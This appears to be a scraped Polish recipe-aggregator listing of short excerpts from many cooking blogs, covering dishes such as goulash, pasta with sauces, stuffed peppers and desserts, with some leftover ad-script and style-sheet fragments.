paski paprykę oraz pokrojonego w kostkę ananasa. 7.    Pod koniec prużenia dodajemy przecier oraz ketchup. 8.    Rybę układamy w naczyniu. 9.    Polewamy sosem z papryki i ananasa. 10.                     Rybka gotowa

Kulinarna Chwila
Bombowa Niespodzianka 171

Bombowa Niespodzianka Znakomity pomysł, żeby zaskoczyć gości, czymś innym. Proponuje do tego ulubiony sos. Składniki: ·        1 ½ fileta z kurczaka ·        Przyprawa do gyrosa ·        Sól ·        Kilka listków kapusty młodej ·        12 pomidorków koktajlowych

Kulinarna Chwila
Udka w Pa ryżu 179

Udka w Pa ryżu Kolorowe danie z delikatnym mięsem z kurczaka, z sosem który, nadaje potrawie wyrazistego smaku. Składniki: 1. ·        5 udek z kurczaka ·        Sól ·        Pomysł na soczystego kurczaka z papryką i ziołami ·        Cebula

Kulinarna Chwila
Słodkie kuleczki 156

Słodkie kuleczki Mięsne kuleczki w pysznym sosie, podawane z ekologicznym ryżem Młyny Polskie, który charakteryzuje się aromatycznym jaśminowym zapachem i sprawia, że potrawa jest smaczna. Składniki: ·        ½ kg mięsa mielonego z łopatki wieprzowej ·        Jajko ·        Sól ·        4 łyżki

Kulinarna Chwila
Przysmak z bananami 141

placuszki i smażymy na rozgrzanym oleju z obu stron. 8.                Deser gotowy, podajemy z dowolnym sosem, bitą śmietaną i owocami. 9.                Smacznego

Kulinarna Chwila
Biała Mgiełka 155

Następnie pokrojone ogórki. 4.    Doprawiamy papryką oraz majerankiem. 5.    Wlewamy przecier. 6.    Mąkę rozrabiamy w małej ilości wody, hartując wlewamy do sosu. 7.    Chwilę gotujemy. 8.    Danie gotowe. 9.    Smacznego

Kulinarna Chwila
Bretońskie kopertki 173

dodajemy kiełbasę. 4.    Wlewamy przecier pomidorowy. 5.    Doprawiamy chili. 6.    Mąkę rozrabiamy w małej ilości wody, hartując wlewamy do fasolki, 2 minuty gotujemy, sos musi być gęsty. 7.    Mięso kroimy w plastry, rozbijamy. 8.    Doprawiamy pieprzem oraz solą. 9.    Farsz nakładamy na każdy kawałek mięsa

Kulinarna Chwila
Gulasz Paprykowy 164

rozgrzanym oleju. 2.    Doprawiamy pieprzem oraz solą, podlewamy wodą. 3.    Kiedy mięso jest już prawie miękkie, dodajemy pokrojone papryki. 4.    Na koniec rozgrabimy sos w ½ szk. wody. 5.    Hartując wlewamy do mięsa, chwilę gotujemy. 6.    Danie gotowe. 7.    Smacznego

Kulinarna Chwila
.Rewelacyjny Gulasz 196

pieczarki. 3.    Podlewamy wodą i dodajemy pokrojoną w paseczki papryki. 4.    Ogórki kroimy drobno, przekładamy do mięsa. 5.    Doprawiamy chili. 6.    Sos rozrabiamy w ½ szklance wody i łączymy z mięsem. 7.    Chwilę gotujemy. 8.    Danie gotowe, można podawać z kluskami śląskim. 9.    Smacznego

Kulinarna Chwila
PolĘdWiCzKi z InDYkA w sOsiE sŁoDkO- kWaśNym 188

Składniki: 1 mały ananas 1 czerwona papryka 1 marchekwa 1 łyżka mąki ziemniaczanej  ząbek czosnku kawałek imbiru 2 łyżki ketchupu 4 łyżki cukru trzcinowego sos sojowy 6 łyżek octu ryżowego lub sól z 2 limonek pieprz Przygotowanie: Paprykę kroimy w kosteczkę, marchewkę obieramy i kroimy w słupki. Ananasa również obieramy, pozbawiamy środka i kroimy. Polędwiczki myjemy, kroimy w kosteczkę

Luźna Kuchnia
Wołowina z szynkowaru 240

posmarować miodem. Oprószyć zmielonymi przyprawami. Obłożyć czosnkiem. Odstawić na kilka godzin (4 -5). Następnie mięso obsypać solą. J eżeli będziemy jeść wołowinę na ciepło nie dodajemy żelatyny, będzie potrzebny sos. Dzięki żelatynie otrzymamy pyszną galaretkę, ale tylko na zimno. Oprószyć żelatyną. Do szynkowara włożyć woreczek (specjalny woreczek do szynkowarów), brzegi wyłożyć na zewnątrz. Mięso włożyć do środka. Woreczek zawinąć. Mięso

królestwo garów
Makaron z kurczakiem, pomidorami i mozzarellą 135

cienkie plasterki, podsmaż go krótko, po czym dodaj na patelnię pokruszony ser pleśniowy, 8-10 łyżek ciepłej wody (ja wykorzystuję wodę z gotującego się obok makaronu) oraz śmietanę. Do sosu dodaj ugotowany makaron i wymieszaj, dorzucając pokrojonego w grubszą kostkę pomidora. Na makaronie ułóż porozrywaną mozzarellę, przykryj makaron jeszcze na chwilę pokrywką i gotuj z 2 minuty aż mozzarella stanie

nietylkopasta.pl
Pizza Bianca z białym sosem i dodatkami 113

Pizzę uwielbiamy,w każdej często jemy ją gdzieś w pizzerii,ale równie często robię ją w domu. Na moim blogu była już pizza z tradycyjnym pomidorowym sosem i na świeżych drożdżach tym razem mam inną propozycję równie pyszną-dla odmiany

Swojskie jedzonko
Naleśniki z karmelizowana śliwką 144

dodatkowego tłuszczu ponieważ tłuszcz mam już w masie naleśnikowej. Wszystko zależy od tego jaka mamy patelnie. Naleśniki smarujemy serem, zwijamy w rulon. Na naleśniki dajemy karmelizowane śliwki i polewamy sosem karmelowym. The post Naleśniki z karmelizowana śliwką appeared first on Thermomix przepisy

Themo przepisy
Kotlety warzywno-drobiowe 164

stron. Przepis możecie pobrać w formacie PDF i go wydrukować. Polecam również przepisy na inne kotlety do obiadu: KOTLETY ZIEMNIACZANE Z PIETRUSZKĄ   KOTLETY RUSKIE   PULPETY W SOSIE PIECZARKOWO KOPERKOWYM (adsbygoogle = window.adsbygoogle || []).push

Zdrowie i pysznie na talerzu
Wątróbka w warzywach 255

Składniki: 400 g wątróbki 1/2 selera (110 g) 3 marchewki (380 g) 1 większa cebula (200 g) 160 g koncentratu pomidorowego 3 łyżeczki jarzynki 1 łyżka sosu chili 1 papryczka … Czytaj dalej Wątróbka w warzywach

czarrna od kuchni
Krokiety ziemniaczane 192

Krokiety ziemniaczane to doskonały dodatek do różnego rodzaju mięs, zup, sosów. Są niezwykle proste w przygotowaniu a robią wrażenie. Można w środek włożyć ser mozzarella lub podsmażony surowy boczek. Jeżeli chcemy wersję light należy je zapiekać w piekarniku około 25 minut. Doskonale smakują ze świeżo startym parmezanem. Nie tylko na gorąco są pyszne ale … Czytaj dalej Krokiety ziemniaczane Artykuł

gotuj ze mną
Jesienna zapiekanka ziemniaczana z kurkami 148

wykorzystałam gotowy już produkt Leśnych Skarbów. Do tej pory najbardziej lubiłam klasyczne dania z kurkami w roli głównej, czyli jajecznicę, zupę lub po prostu puree z ziemniaków z sosem kurkowym. Tym razem poszłam jednak nieco dalej i wymyśliłam sobie bardziej skomplikowane danie.  Ziemniaki, kurki, boczek i mozzarella - byłam pewna, że połączenie tych produktów musi skutkować bardzo pysznym daniem

Kulinarne przygody Gatity
Kotlety warzywno-drobiowe 125

stron. Przepis możecie pobrać w formacie PDF i go wydrukować. Polecam również przepisy na inne kotlety do obiadu: KOTLETY ZIEMNIACZANE Z PIETRUSZKĄ   KOTLETY RUSKIE   PULPETY W SOSIE PIECZARKOWO KOPERKOWYM (adsbygoogle = window.adsbygoogle || []).push

zdrowo i aktywnie
Zapiekana pierś kurczaka z cukinią 340

Muszę powiedzieć, że bardzo lubię tego typu dania. Zapiekanego kurczaka z cukinią podałam razem z prezentowanym wczoraj ryżem z marchewką i bardzo Wam takie zestawienie polecam. Sos z zapiekanki świetnie się z tym ryżem komponował, tworząc bardzo udaną, spójną całość. Generalnie danie bardzo w moim guście. Mogłabym powiedzieć, że to zapiekana, lekko chrupiąca cukinia podana z ryżem i marchewką

Smaki Na Talerzu
Farfalle z pomidorem i bazylią w (prawie) 5 minut 135

Wszystko wrzuć do miski, dosmacz solą, pieprzem, przeciśnij czosnek przez praskę, dodaj oliwę z oliwek. Wymieszaj, odstaw , niech się przegryzie. Odcedź makaron i jeśli masz ochotę dodaj dwie łyżki sosu pomidorowego. Wlej pomidory, wymieszaj. Podawaj z grubo tartym parmezanem! Smacznego! Prościej się

Z Kuchni Do Kuchni
Szybka sałatka jajeczna 155

Kukurydzą Sałatka Porowa Z Jajkami I Kukurydzą Wielkanocna Sałatka Z Szynką I Jajkiem Szybka Sałatka Z Jajek I Pora Sałatka Z Selerem I Jajkiem Sałatka Z Brokułem I Sosem Czosnkowym Artykuł Szybka sałatka jajeczna pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
szybkowar- rolada z boczku wieprzowego do pieczywa... 146

szybkowara z tłuszczem z patelni, wlać wodę, dodać kostkę rosołową i po zasyczeniu pary gotować 80 minut. Roladę wyjąć ostudzoną z szybkowara, (wywar można zamrozić i wykorzystać do sosu, zupy, bigosu,gulaszu)usunąć nici, schować do lodówki, zimną kroić na cienkie plasterki - najlepsza rolada z boczku wieprzowego do pieczywa, domowe mięsko jest najlepsze i wiemy co jemy z jakich składników

W Mojej Kuchni Lubię
Leczo z patisona 224

Składniki: 2 średnie patisony 3 kolorowe papryki 20 dkg fasolki szparagowej 2 cebule 1 koncentrat pomidorowy 2 laski dobrej kiełbasy sól, pieprz 1 łyżka sosu chili 1 mini papryczka chili … Czytaj dalej Leczo z patisona

czarrna od kuchni
Zapiekanki z kurkami – przepis krok po kroku 137

funkcją termoobiegu. Zapiekanki posyp startym żółtym serem, zapiekaj w górnej części piekarnika przez około 10 minut.   Krok 4:   Jako miłośnik pikantnych sosów zapiekanki z kurkami podałem z  ketchupem z jalapeno . Na koniec dla świeżości posypałem je drobno posiekanym szczypiorkiem.     Coś dla miłośników ostrzejszych klimatów   Zapiekanki z kurkami wyszły

kuron.com.pl
Papryki faszerowane mięsem i ryżem 144

mogę patrzeć na to warzywo:P Póki co, jest jeszcze w moich łaskach i tym razem nafaszerowałam ją bardzo klasycznie - ryż, mielone mięso i mozzarella. Całość podana z sosem pomidorowym. Coś w rodzaju gołąbków w papryce :D Składniki na 2 porcje: 3 czerwone papryki 400 g mielonego mięsa 100 g ryżu 1 kulka mozzarelli 1 mała cebula 1 ząbek czosnku

My simple kitchen
Piętnastominutowy makaron z tuńczykiem. Szybko się robi i jeszcze szybciej znika. PRZEPIS 146

minuty co jakiś czas delikatnie mieszając. Pomidory sparz wrzątkiem, obierz ze skóry, pokrój w kostkę i dodaj do reszty, dopraw solą, pieprzem, dodaj posiekaną pietruszkę. Duś około 3 minut. Sos wymieszaj z ugotowanym makaronem. Gotowe! Rada : poza sezonem można użyć pomidorów w puszce.   Artykuł Piętnastominutowy makaron z tuńczykiem. Szybko się robi i jeszcze szybciej znika. PRZEPIS pochodzi z serwisu

Kulinarna Polska
Purchawica wielka na 3 sposoby 172

papryki, podsmażyć wszystko razem. Zalewamy 2 rozmąconymi jajkami, przykrywamy patelnię pokrywką i zmniejszamy ogień. Kiedy jajko się zetnie omlet gotowy. Doprawić do smaku solą i pieprzem 3 Makaron z sosem z purchawki Kawałek dużej purchawki kroimy w kosteczkę, podsmażamy z cebulą , można dodać trochę pomidora suszonego z oliwy. Do grzybów dodajemy smietanę i gotujemy przez kilka minut. doprawiamy do smaku

Gotowanie jest łatwe
Chili con carne z indykiem 113

mięsa dodać wodę, pomidory z puszki lub świeże pomidory pokrojone na drobniejsze cząstki, pokrojoną w kostkę paprykę, dodać szczyptę cukru, wymieszać i poddusić pod przykryciem około 20 minut aż sos się zagęści a pomidory się rozpadną. Na końcu dodać odcedzoną fasolę z puszki oraz kukurydzę, wymieszać i razem jeszcze poddusić około 5 min pod przykryciem. Na końcu zdjąć pokrywę

Kocham..lubię..gotuję..
Makaron z krewetkami, szpinakiem i pomidorkami koktajlowymi 154

sposób na krewetki z czosnkiem, pietruszką, szpinakiem i pomidorkami koktajlowymi a wszystko to w towarzystwie makaronu. Danie aromatyczne, bardzo smaczne i ekspresowe. W czasie gdy się gotuje makaron przygotowujemy sos, więc całość zajmuje niewiele czasu. Polecam serdecznie :) Składniki (2 porcje): 200 g ulubionego makaronu 200 g krewetek (świeżych lub mrożonych) 40 g masła klarowanego 1 mała cebulka 2 ząbki czosnku

Kocham..lubię..gotuję..
Domowy makaron pszenny pełnoziarnisty 130

zostawiłam przykryty folią w lodówce. Ja przygotowuję zawsze tylko jedną porcję z 215 g mąki, która starcza nam na obiad dla trzy osobowej rodziny - czasami reszta makaronu z sosem zostaje do odgrzania. Smacznego

Kocham..lubię..gotuję..
Grzanki z kiełbasą, cebulką, ogórkiem kiszonym i serem 145

teflonową i wstawić do piekarnika nagrzanego do temperatury 200 0 C, zapiekać 8-10 minut aż ser na wierzchu się rozpuści. Podawać jeszcze gorące np. z ketchupem lub ulubionym sosem. Smacznego

Kocham..lubię..gotuję..
Wiśnie w syropie, z amaretto 185

serię z amaretto - dżem , konfitury , sok do rozcieńczania wodą oraz prezentowane poniżej wiśnie w syropie. Będą idealne do ciast, deserów, budyniu, kaszki, owsianki lub jako baza do przygotowania pysznego sosu - frużeliny. Polecam serdecznie :) Składniki: 1 kg wydrylowanych wiśni 500 g cukru 60 ml amaretto Przygotowanie: Wiśnie powinny być całe, duże i jędrne z jak najmniejszymi otworami po drylowaniu. Pracę najlepiej

Kocham..lubię..gotuję..
Kremowy deser z frużeliną wiśniową z amaretto 178

Bardzo lubię desery na bazie kremu z mascarpone i śmietanki kremówki. Nie tylko za smak, ale również za szybkość przygotowania. Idealnie pasują z różnymi owocami, świeżymi lub owocowymi sosami i biszkoptami. Tym razem deser z frużeliną z amaretto. Polecam serdecznie :) Składniki (4 porcje): Frużelina wiśniowa z amaretto: 250 g wiśni, świeżych lub mrożonych (wydrylowanych) 20-25 ml amaretto 1 łyżeczka

Kocham..lubię..gotuję..
Kurczak pieczony na piwie, z boczkiem i rodzynkami 172

kurczaka rozłożyć odrobinę masła. Naczynie nakryć pokrywą. Kurczaka wstawić po piekarnika nagrzanego do temperatury 200 0 C i piec pod przykryciem 1 godzinę. Po godzinie zdjąć pokrywę, kurczaka polać sosem z pieczenia  i dopiec około 15-20 min z opcją grzałki górnej, aż do zrumienienia skórki. Można podnieść temperaturę w piekarniku. Ziemniaki: ugotowane ziemniaki (ja gotuję na parze

Kocham..lubię..gotuję..
Pide z mięsem mielonym - drożdżowe łódeczki z mięsem mielonym 189

rozgrzaną blachę i piec około 10-15 min aż ciasto i  brzegi się zarumienią. Podawać ciepłe, można posypać świeżą posiekaną kolendrą lub natką pietruszki w towarzystwie ulubionych sosów, lub bez żadnych dodatków. Smacznego

Kocham..lubię..gotuję..
Pancakes 277

patelnię i odwracać kiedy na powierzchni utworzą się pęcherzyki powietrza a spód będzie rumiany. Smażyć do zezłocenia drugiej strony. Podawać wg upodobań - z miodem, syropem klonowym, cukrem pudrem, sosami, świeżymi owocami lub dżemem. Smacznego

Kocham..lubię..gotuję..
Mango 173

także węch, ponieważ dojrzałe mango uwalnia przyjemny zapach. Mango znakomicie smakuje samo, ale to także idealny składnik deserów (ciast, galaretek, dżemów) lub dodatek do potraw, takich jak sałatki czy sosy do mięsa. Z mango powstają także pyszne i wartościowe soki oraz koktajle. Dodatkowo idealnie komponuje się z daniami mięsnymi, jak np. szynka, ale i łosoś.  w 100g owocu znajduje

ciasta i desery czyli na słodko
Ryby w diecie małego dziecka 163

maluchom, jeśli dostaną na talerzyk coś, czego sami byśmy nie tknęli Oczywiście jest na to rada, istnieje mnóstwo fajnych i smacznych przepisów, oto jeden z nich – dorsz w sosie z suszonych pomidorów. Niektórzy rodzice obawiają się podawać dzieciom ryby ze względu na zanieczyszczenia. Niesłusznie – eksperci uważają, że korzyści płynące ze spożycia ryb bogatych w kwasy omega

Natka Pietruszki
Sos chrzanowo jajeczny 117

Polecam ten sos na zbliżające się święta Wielkanocne. Idealnie sprawdzi się do wędlin, kiełbasy, czy nawet znajdzie się miejsce obok sałatki czy faszerowanego jajka. Jest fajnym rozwiązaniem dla tych, którzy lubią ostre dodatki, ale sam chrzan jest dla nich (tak samo jak dla mnie) za ostrym rozwiązaniem.  Polecam go wykonać parę godzin wcześniej przed podaniem(ok 4 godz), wtedy

zdrowo i aktywnie
POLECANE jogurty naturalne 124

było artykułu o produktach, które polecam kupować w sklepach. Dzisiaj będzie o jogurtach naturalnych, które bardzo często są spożywane na dietach jako źródło białka lub zamienniki majonezu czy gotowych sosów smakowych. Wybierając jogurty oczywiście ❌pomijamy te z dodatkiem owoców czy zbóż. Z owocowymi wiąże się mnóstwo dodatkowego cukru, barwników i aromatów, a z dodatkami typu musli mamy węglowodany, które sami

zdrowo i aktywnie
Najlepsze przepisy w czerwcu 120

LINK ).  Czerwiec był również owocny, jeśli chodzi o współpracę z firmą WOLL ( link ), która sprezentowała mi naprawdę super patelnie, a dzięki niej powstał super przepis na TUŃCZYKA W SOSIE ŚMIETANOWO KOPERKOWYM . LINK (adsbygoogle = window.adsbygoogle || []).push

zdrowo i aktywnie
Łosoś w sosie śmietanowym z makaronem 137

kroimy w kostkę, łososia rozdrabniamy.  3. Rozgrzewamy olej i podsmażamy cebulkę, następnie dodajemy łososia. Zmniejszamy ogień i na koniec dodajemy śmietanę, cały czas mieszając. Możecie dać koperek do sosu lub posypać nim tylko na wierzchu.  4. Wykładamy na talerz makaron, na to naszego łososia. (adsbygoogle = window.adsbygoogle || []).push

zdrowo i aktywnie
Koktajl malinowy z płatkami 133

deseru jest dniem straconym jak to mówią. Szczególnie w takie upały jak teraz mamy, zimne napoje oraz jedzenie jest bardzo pożądane. Na obiad możemy sobie zaserwować placki wytrawne z sosem na zimno, a na deser ten oto przepyszny deser. Co najważniejsze jest to deser pełnowartościowy! Zawiera wszystkie potrzebne makroskładniki, aby się nim najeść i zapewnić odpowiednie zapotrzebowanie organizmowi. Można

zdrowo i aktywnie
Najlepsze przepisy w lipcu 118

SERNIK KRÓLEWSKI  LINK 6. CIASTO USTA MURZYNKA LINK 7. KOTLECIKI SIEKANE Z KURCZAKA I SERA LINK 8. SZYBKIE PEŁNOZIARNISTE CIASTO ZE ŚLIWKAMI  LINK 9. PULPECIKI W SOSIE PIECZARKOWO KOPERKOWYM LINK 10. JAGLANY MAKOWIEC Z POMARAŃCZĄ  LINK Zapraszam również do obejrzenia rankingu z poprzedniego miesiąca.  LINK

zdrowo i aktywnie
Makaron z tuńczykiem, serem i warzywami 130

swoje ulubione warzywa a tuńczyka zamienić na mięso. Żeby zaoszczędzić czas na obróbce mięsa, polecam wykorzystać gotowe wędzone mięsko. Na koniec możecie dodać odrobinę (lub więcej jak kto woli) sosu np. czosnkowego, oczywiście domowej roboty (jogurt+czosnek).  (adsbygoogle = window.adsbygoogle || []).push({}); Polecam przepis na NALEŚNIKOWE WRAPY Z KURCZAKIEM, które również idealnie sprawdzą się na obiad w upalne dni. LINK Wartości

zdrowo i aktywnie
Budyń jaglany z truskawkami 130

minut Koszt: tanie Kaszę jaglaną mogłabym jeść non stop, tak uwielbiam jej smak. Wybornie smakuje w daniach na słodko, jak i na słono. W słonych wersjach sama czy z sosem, a nawet zapiekana zawsze smakuje idealnie, a jeśli chodzi o słodkie przepisy, to też znajdzie swoje zastosowanie w wielu smakołykach. Ostatnio podzieliłam się z Wami przepisem na ciasto bez pieczenia

zdrowo i aktywnie
Papryka faszerowana 156

wysokości). Gotować na małym ogniu ok. 30. Min. Gotowe papryki można posypać tartym żółtym serem i natką pietruszki. Gotowe! Można podawać z ziołowym dipem jogurtowym lub tradycyjnym sosem pomidorowym. Świetne danie na obiad lub ciepłą kolację

Gotujemy i jemy
Sernik z rodzynkami, żurawiną i skórką pomarańczową 147

sernik nie opadł warto pozostawić go do wystygnięcia w uchylonym piekarniku.   Gotowy sernik świetnie smakuje posypany cukrem pudrem, ale także z dodatkiem bitej śmietany lub sosu owocowego

Gotujemy i jemy
Morelowa tarta Tatin 142

dusić ok. 3 min. Ciasto francuskie lekko rozwałkować i wyciąć dwa krążki wielkości naczynia, w którym będzie pieczona tarta. Na spodzie formy ułożyć podduszone morele i zalać je resztą sosu karmelowego. Dokładnie przykryć krążkami ciasta francuskiego. W cieście zrobić 1 – 2 otwory nożem, tak aby mogła wydostać się para. Piec ok 15 min. w temp. 180 C tak, żeby ciasto

Gotujemy i jemy
Koktajl malinowy bez pestek 154

grubym dnie. Dolać odrobinę wody i dusić ok. 5 min. aż owoce się rozpadną. Rondel z masą malinową ostudzić i owoce dokładnie przetrzeć przez gęste sito – najlepiej plastikowe. Sos malinowy zmiksować z mlekiem i jogurtem. Dosłodzić miodem lub cukrem według uznania. Koktajl podawać schłodzony, udekorowany listkami mięty, kleksem bitej śmietany lub pokruszonymi herbatnikami! Taki koktajl malinowe jest świetny, gdyż

Gotujemy i jemy
Tradycyjne placki ziemniaczane: sprawdzony przepis 138

Placki ziemniaczane to tradycyjne danie, które smakuje chyba każdemu. Mogą być podawane na słodko i na ostro - z cukrem, śmietaną, gulaszem, szpinakiem sosem tzatziki lub kawiorem. Składniki na placki ziemniaczane 1 kg ziemniaków 2 cebule 2 ząbki czosnku 2 jajka 2-3 łyżki mąki pszennej olej lub smalec do smażenia Obrać ziemniaki i cebulę. Na tarce o małych otworach zetrzeć

Gotujemy i jemy
Solony koperek na zimę 147

Solony koperek w słoiku Solony koperek w słoiku jest idealnym składnikiem na zupę koperkową lub sos. Oczywiście można kupić taki koperek w sklepie jednak wystarczy dosłownie 10 minut, aby przygotować własny słoiczek z dwóch pęczków świeżego kopru

Gotujemy i jemy
Wielkanocny pasztet z kurcząt z cząbrem, estragonem i tymiankiem 184

złoty wierzch, a jego boki odstają od formy. Pasztet wyciągamy dopiero po całkowitym wystygnięciu. Smacznego! Domowy pasztet jest świetnym uzupełnieniem wielkanocnego śniadania. Doskonale smakuje z chrzanem lub zimnymi sosami

Gotujemy i jemy
Szarlotka super krucha 174

Jeżeli wierzch ciasta nie zrumieni się można na ostatnie 5 minut włączyć termoobieg lub grilla. Szarlotka jest przepyszna tuż po wyjęciu z piekarnika. Świetnie smakuje z bitą śmietaną, lodami, sosem waniliowym lub po prostu posypana cukrem pudrem

Gotujemy i jemy
Zapiekanka makaronowa w kremowym sosie pomidorowym 133

Pieczemy 15-20 minut, do miękkości makaronu. Smacznego! Wartości odżywcze całego dania: Kalorie 3407 kcal Węglowodany 384.71 g Białka 1850 g Tłuszcze 149.3 g Artykuł Zapiekanka makaronowa w kremowym sosie pomidorowym pochodzi z serwisu Cook Yourself

CookYourself
Pieczone letnie warzywa / Roasted summer vegetables 196

Dziś przedstawiam przepis na pieczone sezonowe warzywa, które właśnie teraz są najzdrowsze i najsmaczniejsze. Pomidory, cukinia, papryka, cebula i ziemniaki, najzwyczajniej w świecie zapieczone z odrobiną ketchupu lub innego sosu na bazie pomidorów i ziołami. Jest to świetny posiłek sam w sobie, jak i dodatek do każdego dania głównego. Zapraszam! Scroll down for recipe in English Pieczone letnie warzywa

karmelowy
KUCHENNA APTEKA #42 - OGÓRKI 145

indeks glikemiczny Przepisy z ogórkiem 1) CHŁODNIK OGÓRKOWY Z RZODKIEWKĄ 2) SURÓWKA Z SAŁATY I OGÓRKA 3) SEROWE KULECZKI Z OGÓRKIEM I ZIOŁAMI 4) ZUPA ZE ŚWIEŻYCH OGÓRKÓW 5) SOS OGÓRKOWO-CZOSNKOWY

Kuchnia MagdaLeny
KUCHENNA APTEKA #42 - OGÓRKI 145

indeks glikemiczny Przepisy z ogórkiem 1) CHŁODNIK OGÓRKOWY Z RZODKIEWKĄ 2) SURÓWKA Z SAŁATY I OGÓRKA 3) SEROWE KULECZKI Z OGÓRKIEM I ZIOŁAMI 4) ZUPA ZE ŚWIEŻYCH OGÓRKÓW 5) SOS OGÓRKOWO-CZOSNKOWY

Kuchnia MagdaLeny
Ekstra-serniczki na zimno 164

dopóki maliny nie zaczną się rozpadać. Odparowujemy nadmiar wody i dolewamy wino. Zdejmujemy z ognia, a następnie blendujemy. Można całość przetrzeć przez sito, aby pozbyć się pestek. Do gorącego „sosu“ dodajemy 2 łyżeczki żelatyny i dokładnie mieszamy. Przestudzoną galaretkę wylewamy na stężałą masę serową. Całość ponownie wstawiamy do lodówki na co najmniej godzinę. Dekorujemy świeżymi malinami i innymi owocami. Może

Kate's Kitchen
La Celia, Pioneer Reserve, Chardonnay, 2014. Uco Valley, Argentyna. 146

temu trunkowi potencjału do starzenia. Do czego: wino to znakomicie radzi sobie samodzielnie, jak i jako towarzysz potraw. Świetnie sprawdzi się z tłustymi rybami lub makaronami w aksamitnym śmietanowym sosie z krewetkami. W bardziej szalonej wariacji będzie świetnie pasowało do grzanek ze smalczykiem z mangalicy. Ode mnie: mój zdecydowany faworyt, jeśli chodzi o ten styl Chardonnay. Jeśli więc lubicie wina

Kate's Kitchen
Zupa z grzybów leśnych na białym winie 174

amatorów kremu odlewamy część zupy z bogatą wkładką grzybowo-miesną i miksujemy na gładki krem. Inne przepisy na zupy z grzybów znajdziecie TUTAJ i TUTAJ , a na rydze w sosie winno-śmietanowym zapraszam TUTAJ Bon appetit

Kate's Kitchen
Żółte curry z kurczakiem i mango 220

łyżka oleju kokosowego 1 papryczka chilli 1 torebka ryżu jaśminowego Marynata do kurczaka: 1 łyżeczka kurkumy 1 łyżeczka imbiru 0,5 łyżeczki ostrej papryki sól pieprz 1 łyżka sosu sojowego 1 ząbek czosnku przeciśnięty przez praskę 2 oleju kokosowego Wszystkie składniki marynaty wrzucamy do miseczki i łączymy w jednolitą masę. Mięso kroimy w kostkę i mieszamy z marynatą, następnie wstawiamy

Emskie Smaki
Ramen z klopsikami 152

mięsa z ud indyka 1-2 łyżki miso, wedle upodobania 1 łyżeczka płatków drożdżowych (można też pominąć) 2 łyżki natki pietruszki ok. 1 cm korzenia imbiru 2 łyżki sosu sojowego 1-2 suszone grzyby 1 łyżeczka soli Dodatki do zupy: 4 mini cukinie lub pół średniej pokrojona w grubą kostkę 1 czerwona papryka, pokrojona w grube paski 2 kolby kukurydzy

Kucharzyca
Ryba w cieście 172

bardzo fajna alternatywa dla zwykłej smażonej ryby w panierce. Idealnie nadaje się zarówno do frytek jak i opiekanych ziemniaczków lub jako samodzielny obiad z dodatkiem soku z cytryny oraz sosu tatarskiego lub czosnkowego. Prosty i szybki przepis, może nie do końca „fit” ale raz się żyje i czasami można sobie pozwolić na odrobinę przyjemności (adsbygoogle = window.adsbygoogle || []).push({}); Składniki

Blog kulinarny S9.PL
Gulasz wołowy z dynią i chilli 127

roku pięknie obrodziła na moim ogrodzie, w tej sytuacji kombinuję w kuchni z dynią jako dodatkiem albo składnikiem głównym w daniach. Dodaję ją do ciast, placuszków, czy do sosów. Tym razem zrobiłam gulasz wołowy z jej dodatkiem i okazało się to być strzałem w dziesiątkę. Danie posmakowało każdemu. Składniki: * 50 dkg mięsa wołowego * 25 dkg dyni  * 1 papryczka chilli

Pieprzyć z Fantazją
Placuszki z dyni i szpinaku 209

smaku solą, papryką i dosypałam paprykę słodką w płatkach.  Smażyłam placuszki na rozgrzanym oleju na średnim ogniu  na złoto brązowy kolor.  Notatki: * można je jeść z sosem jogurtowym bądź czosnkowym Smacznego! Lidka

Pieprzyć z Fantazją
Omlet z szynką, serem żółtym z sałatką z rukoli 213

Weekend to najlepszy czas aby odrobinę poszaleć w kuchni. Pyszne, pożywne śniadanie to jest to co da nam energię na cały dzień. Omlet z szynką, serem

Kulinarnyblog.pl - wiesz jak gotować!
Tradycyjne gołąbki w sosie pomidorowym 205

Klasyk kuchni polskiej → gołąbki mięsno-ryżowe w sosie pomidorowym Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding

Kolorowa kuchnia Elki
Sałatka z tuńczykiem na krakersach 156

krakersach ;) Tak podana na pewno podbije serca Waszych gości;) 🥗🥗🥗🥗🥗🥗🥗🥗🥗🥗 Będzie mi bardzo miło jeśli polubisz moją stronę na FB gotowaniepatki :)  Składniki:  1 puszka tuńczyka np.stek w sosie własnym ok 180 g  2 jajka ugotowane na twardo  3 łyżki drobno posiekanego szczypiorku  5 dag sera żółtego startego na tarce o grubych oczkach 3 łyżki jogurtu naturalnego

Gotowanie Patki
Rustykalna tarta z brzoskwiniami. 140

swoje kuchenne pewniaki, z których potrafi wyczarować coś pysznego. I tak, jedni nie wyobrażają sobie zawartości lodówki bez warzyw, inni bez jajek, jeszcze inni bez ulubionej pasty kanapkowej lub sosu. Natomiast u mnie w sezonie letnim, zawsze znajdziecie kulkę kruchego ciasta. Niepozorna, a okazuje się jak znalazł, kiedy mamy ochotę na coś słodkiego, ale też nieoceniona, podczas odwiedzin niespodziewanych gości

Fitsweet.me
Kule mięsno-ryżowe 159

kolendry i posiekaną cebulę. Wrzucić kule, przykryć pokrywką i gotować na bardzo małym ogniu przez 1,5-2 godziny. Uzupełniać wodę w razie potrzeby. 3. Gotowe kule podawać z sosem pomidorowym czy pieczarkowym. Kule przypominają smakiem farsz do gołąbków. Smacznego

Kuchnia domowa Ani
Szybki makaron z pieczarkami i łososiem 157

Pyszny obiad dla zabieganych - makaron z łososiem i sosem pieczarkowym. Do przygotowania obiadu wykorzystałam kawałek łososia upieczonego poprzedniego dnia. Możesz użyć dowolnego makaronu, u mnie moje ulubione szpecle

Gotuj zdrowo!Guten Appetit!
Klopsiki z mięsa indyczego w sosie pomidorowym 139

chyba znam prawdę. Bo wersji jest wiele. Że jedne są z takiego mięsa, a drugie z innego, że jedne się najpierw smaży, drugie od razu gotuje, jedne są z sosem, drugie bez, jedne to dodatek do zupy, a drugie do drugiego dania… Wiele, naprawdę wiele opcji. Każdy miał na ten temat coś do powiedzenia. A prawda jest inna: to jest

Marder&Marder Manufacture
Sól ogórkowa 142

